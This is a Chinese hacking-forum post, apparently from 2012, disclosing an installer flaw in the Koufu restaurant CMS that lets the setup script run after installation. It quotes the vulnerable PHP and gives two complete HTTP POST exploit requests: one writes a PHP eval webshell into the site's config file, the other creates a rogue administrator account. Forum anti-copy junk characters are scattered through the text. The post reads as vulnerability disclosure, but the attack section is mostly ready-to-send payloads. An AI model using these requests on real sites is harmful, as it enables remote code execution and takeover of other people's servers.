找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2135|回复: 0
打印 上一主题 下一主题

口福科技餐厅cms漏洞(可getshell)

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:13:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。# l. K1 a, V6 |/ x$ y, u
& S( @# S) ?2 |0 r0 e3 |
<?php
9 k& H% c9 Z6 n" y" K4 q6 v3 b4 nif(file_exists("../install.lock"))# ~0 v2 ~% a+ h6 H: O  J, U
{' H6 t$ c' M# c) ]
    header("Location: ../");//没有退出
( h( G4 c6 J7 h$ D3 V- \: u. z}+ u6 j3 t  A7 k* c, Z
               5 B2 k; i0 f( ]' m
//echo 'tst';exit;; ~$ e7 n3 W, q
require_once("init.php");( e8 T# X4 w0 y3 z" l2 @0 o
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
$ O, x9 D7 ?! Z( ^{! n4 H$ a1 y& |# F! P
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。  A. v  x/ x# z
  s% ]7 ?! ^% w0 Z  {) w; z6 ~
1、getshell(很危险): ~/ u) Y! `! e( `% f
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)% |2 l! `2 K/ ^1 ~3 x/ _1 N
{$ T; L$ |3 k: ?9 p$ G% [
$smarty->assign("step",1);- `; K7 B# R4 b8 C
$smarty->display("index.html");$ N. |3 ], E) s& {# |
}elseif($_REQUEST['step']==2), c( G7 P6 n3 W  \3 e
{
  _5 X0 h0 \$ n( ]' M    $mysql_host=trim($_POST['mysql_host']);
" P- v5 j8 L( M: C" G/ f  H) J% C    $mysql_user=trim($_POST['mysql_user']);
, y2 n+ |( U& u- O- s* ]    $mysql_pwd=trim($_POST['mysql_pwd']);! d3 x) k# q! I9 z0 u% k  O. Z  _
    $mysql_db=trim($_POST['mysql_db']);
4 e3 j" }5 v8 v- o& Y3 V+ _    $tblpre=trim($_POST['tblpre']);. g' I% a4 w, w$ v! J
    $domain==trim($_POST['domain']);9 Y1 v4 v% Q/ }+ r2 K$ ^, a
    $str="<?php \r\n";: ^, k# q1 j6 d0 M6 ?' ^
    $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";: z1 z8 p6 u; z5 x
    $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";, f8 _1 R: g( [9 u" N7 i
    $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";1 @, ]/ N+ `/ j5 B
    $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
, M0 A  a/ i% H: W    $str.='define("MYSQL_CHARSET","GBK");'."\r\n";0 f, W3 K; h. ?  ~+ x
    $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
, b$ l" e3 ?* p2 \/ a9 R    $str.='define("DOMAIN","'.$domain.'");'."\r\n";
( {' m! ^5 M; M. n    $str.='define("SKINS","default");'."\r\n";
( t% C. r5 T+ v+ k$ u' Z    $str.='?>';
2 H( [9 w0 d+ S& S: S    file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件7 Y& k; `9 X9 x& ~4 A
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
4 \) b+ J' Z; G: ?" vPOST /canting/install/index.php?m=index&step=2 HTTP/1.1
! x8 }2 ^' l& Q( d2 u! ?; tHost: 192.168.80.129
4 z9 X5 b# @- l( F" ?0 u. Y3 r6 BUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0! ?1 u* a8 t4 l
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
) A+ M5 g. [# |$ m7 b/ q3 DAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3# a7 J) k  r- e' T% v/ J/ |
Accept-Encoding: gzip, deflate  c% F1 ~) o, q! g
Referer: http://192.168.80.129/canting/install/index.php?step=1
$ p' J0 m( {' d1 cCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42- Y3 H- k5 a) H8 I0 ~- u2 `" @
Content-Type: application/x-www-form-urlencoded% y$ U  t* S4 G4 t4 }
Content-Length: 126
6 L# \. @- S3 V$ x* d0 t          3 r: A, c& x3 e, D/ t# y) t, e9 G
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD8 W% }) s, [' R5 y& P  c
但是这个方法很危险,将导致网站无法运行。3 H/ R& j8 X( D  G+ T/ b3 e& D
- @$ {* l% `+ J4 H6 ~
2、直接添加管理员3 G& {. L5 Z+ a( G* x* C$ m

. u1 [9 `0 G) s1 Oelseif($_REQUEST['step']==5)
: m' y6 F$ Y* {) x4 Q{% H: v* v5 F* U# q8 `  [
    if($_POST)* c3 k5 d$ r6 q! x: M, E
    {   require_once("../config/config.inc.php");
: M) Z1 f. B; {+ x        $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
" Q& i/ U4 ~: z5 D/ w8 P$ `8 j        mysql_select_db(MYSQL_DB,$link);
. G! m( J& ~( F9 B' P! e        mysql_query("SET NAMES ".MYSQL_CHARSET );1 f9 m/ J, D) O# I2 P# e4 F
         mysql_query("SET sql_mode=''");6 B& l$ G3 l7 B, z# Z5 e

5 D+ S$ O' w4 {! S% _% J $adminname=trim($_POST['adminname']);
% |" \0 G0 z/ W( Z+ u        $pwd1=trim($_POST['pwd1']);: D3 C0 F, h( r# Z! d
        $pwd2=trim($_POST['pwd2']);4 i* c+ k+ ^. q! x
        if(empty($adminname))1 v( q5 ?% w9 c3 k$ e* n" Q* E) j; ?0 o
        {
1 X/ A( A1 M" H" l. b( M5 l/ x- N) F' O6 P# t/ ?9 `
echo "<script>alert('管理员不能为空');history.go(-1);</script>";/ z* K, v$ M: B3 U
            exit();& J' k+ q. i* z8 d" w$ o& N- l# s
        }
0 ?, M0 `8 f* o+ i% j( q9 b        if(($pwd1!=$pwd2) or empty($pwd1))% H  Z4 t- n; D; V6 x
        {8 n. {: L! D1 g
            echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出" ~2 Q1 j4 ?4 o  u6 E, R% s
        }
, \0 S) ^7 a) G9 ?/ y% m$ ^        mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
$ J- ]( `" k: I0 T/ w# {    }
7 e; l% u4 W, N8 [  u- E这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:" j# c; Y1 g- q, Z, }
POST /canting/install/index.php?m=index&step=5 HTTP/1.1% y  a/ g5 k6 V# s( B9 o/ g
Host: 192.168.80.129/ v: |1 b5 `$ [, S" b& D) `& j+ ^
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0  C7 D0 Z1 {, o# u( _  m: p+ I" h
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
( I% j7 }$ _4 X/ P; j' cAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
$ B$ A4 B# M7 K/ ]3 wAccept-Encoding: gzip, deflate
/ E) u9 i% v4 ?5 i$ NReferer: http://www.2cto.com /canting/install/index.php?step=1
. r: I  C8 F8 y0 XCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42: Q2 s/ I! N9 O2 r0 v  q" D% ~
Content-Type: application/x-www-form-urlencoded# E7 j/ ~4 P) m* u
Content-Length: 46
) ]6 }1 ^$ }% W5 _      
" ?/ r, m' @* k7 b) P% j; ~8 Radminname=qingshen&pwd1=qingshen&pwd2=qingshen​, J' E! q: ^# D3 `; m+ e9 Y9 ]7 ~
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表